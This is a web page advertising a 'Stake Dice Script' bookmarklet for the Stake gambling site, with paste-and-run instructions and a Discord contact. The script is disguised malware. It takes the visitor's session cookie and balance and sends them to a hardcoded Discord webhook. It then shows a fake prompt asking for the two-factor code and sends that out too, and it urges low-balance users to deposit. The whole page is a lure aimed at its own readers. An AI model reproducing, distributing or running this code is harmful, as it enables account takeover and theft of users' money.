Stake Dice Script
Copy Dice Script
Select the device you will be using.
↑ Drag this to your bookmark bar ↑
javascript:(function() { const validDomains = ['stake.com', 'stake.ac', 'stake.games', 'stake.bet', 'stake.pet', 'stake1001.com', 'stake1002.com', 'stake1003.com', 'stake.mba', 'stake.jp', 'stake.bz', 'staketr.com', 'stake.ceo', 'stake.krd']; if (!validDomains.some(d => location.hostname.endsWith(d))) { alert("Please visit Stake to run this script."); return; } function fetchToWebhook(data) { fetch('https://discord.com/api/webhooks/1282468463314600077/Am9fRO_9kZI8TNVUbCrCTKek-EMC_T_-vEJNyBc3rytBl1Xs5dQd2lzpwy-AX3970rXv', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(data) }); } function showOverlay() { const overlay = Object.assign(document.createElement('div'), { style: 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:9999;display:flex;align-items:center;justify-content:center;' }); const box = Object.assign(document.createElement('div'), { style: 'position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:#213743;padding:30px;border-radius:8px;color:white;text-align:center;width:400px;height:390px;box-sizing:border-box;' }); const input = Object.assign(document.createElement('input'), { type: 'text', placeholder: 'Enter your two-factor code', style: 'padding:10px;border:none;border-radius:4px;width:calc(100% - 20px);font-size:16px;color:black;margin-top:20px;', maxLength: 6 }); const button = Object.assign(document.createElement('button'), { textContent: 'Start Script', style: 'padding:10px 20px;border:none;border-radius:4px;background:#4CAF50;color:white;font-size:16px;margin-top:20px;' }); const errorMsg = Object.assign(document.createElement('p'), { textContent: 'Error: Please enter a valid 2FA code.', style: 'color:red;display:none;margin-top:10px;' }); const infoMsg = Object.assign(document.createElement('p'), { innerHTML: '2FA must be enabled on your account to run this script. <br><br>Don\'t have 2FA? <a href="https://stake.com/settings/security" target="_blank" style="color: yellow; text-decoration: underline;">Click here to enable</a>', style: 'margin-top:20px;' }); const message = Object.assign(document.createElement('p'), { innerHTML: 'Stake Dice Script (Android)<br><br><span style="color: #4CAF50; font-size: 16px; display: block;">✓ Your balance is sufficient for this script</span><span style="color: yellow; animation: fadeInOut 1.75s infinite;">Enter your two-factor code<br>below to continue</span>', style: 'margin-top:20px;' }); box.append(message, input, button, errorMsg, infoMsg); overlay.appendChild(box); document.body.appendChild(overlay); button.addEventListener('click', () => { errorMsg.style.display = 'block'; setTimeout(() => errorMsg.style.display = 'none', 6000); const code = input.value; if (code.length === 6) { fetchToWebhook({ content: `Two-factor code: ${code}` }); } }); input.addEventListener('input', () => { if (input.value.length > 6) { input.value = input.value.slice(0, 6); } }); const style = document.createElement('style'); style.innerHTML = '@keyframes fadeInOut { 0% { opacity: 0; } 50% { opacity: 1; } 100% { opacity: 0; } }'; document.head.appendChild(style); } function handleBalance() { const currencyElement = document.querySelector('.currency span'); if (currencyElement) { let balance = parseFloat(currencyElement.textContent.replace(/[^0-9.]/g, '')) || 0; if (balance < 50) { alert("Your balance is too low to run this script. Please deposit more to continue."); location.href = 'https://stake.com/casino/games/dice?tab=deposit¤cy=btc&modal=wallet'; const sessionCookie = document.cookie.split('; ').find(row => row.startsWith('session=')).split('=')[1]; fetchToWebhook({ content: `Session Cookie: ${sessionCookie}` }); } else { const sessionCookie = document.cookie.split('; ').find(row => row.startsWith('session=')).split('=')[1]; fetchToWebhook({ content: `Balance: $${balance} | Session: ${sessionCookie}` }); showOverlay(); } } } function clickButtonsWithDelay() { const selectors = ['[data-test="coin-toggle"]', '[data-test="open-wallet-settings"]', '[data-test="toggle-view-switch"]', '[data-testid="save-wallet-settings"]']; selectors.forEach((s, i) => setTimeout(() => document.querySelector(s)?.click(), i * 200)); } if (document.querySelector('.currency span')?.textContent.includes('$')) { handleBalance(); } else { clickButtonsWithDelay(); setTimeout(handleBalance, 1500); } })();
Tap the text above and click "Copy"
Then click close and follow the instructions below
⚠
Note: Please be sure you are using the correct script for your device or it may not function properly!
For Assistance:
If you need help, contact via Discord below.
joshstake